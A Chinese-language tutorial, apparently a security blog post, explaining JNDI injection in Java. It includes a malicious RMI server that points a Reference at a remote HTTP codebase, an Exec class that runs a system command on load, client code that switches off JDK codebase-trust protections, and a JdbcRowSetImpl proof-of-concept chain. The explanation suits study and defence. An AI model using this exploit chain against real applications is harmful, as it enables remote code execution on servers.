深入理解JAVA中的JNDI注入

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什么是JNDI?

简单来说，JNDI (Java Naming and Directory Interface) 是一组应用程序接口，它为开发人员查找和访问各种资源提供了统一的通用接口，可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机，也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象，RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序（Naming and Directory Providers），RMI注册表服务提供程序（RMI Registry Service Provider）允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合，RMI客户端直接通过URL来定位一个远程对象，而且该RMI服务可以和包含人员，组织和网络资源等信息的企业目录链接在一起。

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就个人的理解，JNDI相当于在LDAP RMI等服务外面再套了一层API，方便统一调用。

JNDI的注入点

假设client端地址为10.0.0.1，先来看下面一段，JNDI的client端的代码

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Context context = new  InitialContext();
context.lookup(providerURL);

其中providerURL为可控变量，此时，可以传入任意JNDI服务路径来实现注入，如

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?providerURL=rmi://10.0.0.2:9527/evil

但是问题来了，此时即使执行了evil所绑定的类，依然是在10.0.0.2上执行，无法影响到10.0.0.1，因此要引入一个新的概念

JNDI References

在JNDI服务中，RMI服务端除了直接绑定远程对象之外，还可以通过References类来绑定一个外部的远程对象（当前名称目录系统之外的对象）。绑定了Reference之后，服务端会先通过Referenceable.getReference()获取绑定对象的引用，并且在目录中保存。当客户端在lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。

通过查阅References的源码，可以得知，其主要记录了如下信息

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protected String className;
protected Vector<RefAddr> addrs = null;
protected String classFactory = null;
protected String classFactoryLocation = null;

其中classFactoryLocation实际上是LDAP或者RMI的地址

真正的JNDI注入

假设server地址为10.0.0.2，构造如下恶意RMI服务代码

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Registry registry = LocateRegistry.createRegistry(9527);
Reference exec = new Reference("Exec", "Exec", "http://127.0.0.1:8080/");
ReferenceWrapper refWrap = new ReferenceWrapper(exec);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:9527/exec");
registry.bind("exec", refWrap);

上述代码非常简单，主要是将/exec这个路径绑定到一个Reference上，而这个Reference指向127.0.0.1:8080/Exec.class,其中Reference的构造函数第一个参数是className,第二个参数是classFactory

紧接着让我们构造Exec这个恶意类

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import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
public class Exec {
    public Exec() throws Exception{
        String cmd = "whoami";
        Process p = Runtime.getRuntime().exec(cmd);
        InputStream is = p.getInputStream();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int a = -1;
        while ((a = is.read(b)) != -1){
            baos.write(b, 0, a);
        }
        System.out.println(new String(baos.toByteArray()));
        p.waitFor();
    }
}

将其编译为Exec.class文件，然后拷贝到web目录下

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javac Exec.java

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cp Exec.class /var/www/html/

假设client地址为10.0.0.1，构造如下漏洞代码

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System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context context = new  InitialContext();
context.lookup("rmi://127.0.0.1/exec");

即可成功执行whoami命令
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其中前两行代码主要用于解除安全限制

在RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象)，如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制，如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。

JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。

深入源码探索

前面提到了，实际原因是触发了object factory，下面我们来看一下具体的触发调用链
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核心代码触发代码从decodeObject开始

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var1为传入的remote接口对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;

在decodeObject中，会判断传入对象是满足RemoteReference接口，满足则通过getReference函数获取reference对象，然后进入getObjectInstance函数

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if (ref != null) {
            String f = ref.getFactoryClassName();
            if (f != null) {
                // if reference identifies a factory, use exclusively
                factory = getObjectFactoryFromReference(ref, f); //触发点1
                if (factory != null) {
                    return factory.getObjectInstance(ref, name, nameCtx,
                                                     environment); //触发点2
                }
                // No factory found, so return original refInfo.
                // Will reach this point if factory class is not in
                // class path and reference does not contain a URL for it
                return refInfo;

在getObjectInstance函数中，一共有两处可执行RMI中定义的恶意代码的地方，一处是getObjectFactoryFromReference，在getObjectFactoryFromReference中会通过获取到对应的Class对象，通过clas.newInstance()触发恶意构造函数

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return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

另外一处，则是通过实例化的类，调用其getObjectInstance函数，只要我们实现了ObjectFactory接口，复写getObjectInstance函数，即可执行恶意代码

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public class Exec implements ObjectFactory {
    public Exec(){
    }
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("factory.getObjectInstance hook!");
        return null;
    }
}

JdbcRowSetImpl的JNDI注入利用链

在实战过程中，context.lookup直接被外部调用的情况比较少，但是我们可以通过间接调用context.lookup实现JNDI的注入，JdbcRowSetImpl就是这样一条利用链，先来看一下最终的POC

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System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName("rmi://127.0.0.1:9527/exec");
j.setAutoCommit(true);

调用链如下
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可以看到，唯一的不同在于lookup前调用了setAutoCommit以及connect方法

坑

1.在POC复现的过程中，由于编译Exec使用了1.8，运行Server以及Client使用了1.7，导致无法运行。由于JAVA版本向下兼容，因此实际利用过程中，建议使用1.6编译Exec.class，笔者偷懒，均采用了1.8

2.Exec的声明不能带package，否则无法触发，具体原因仍未查明。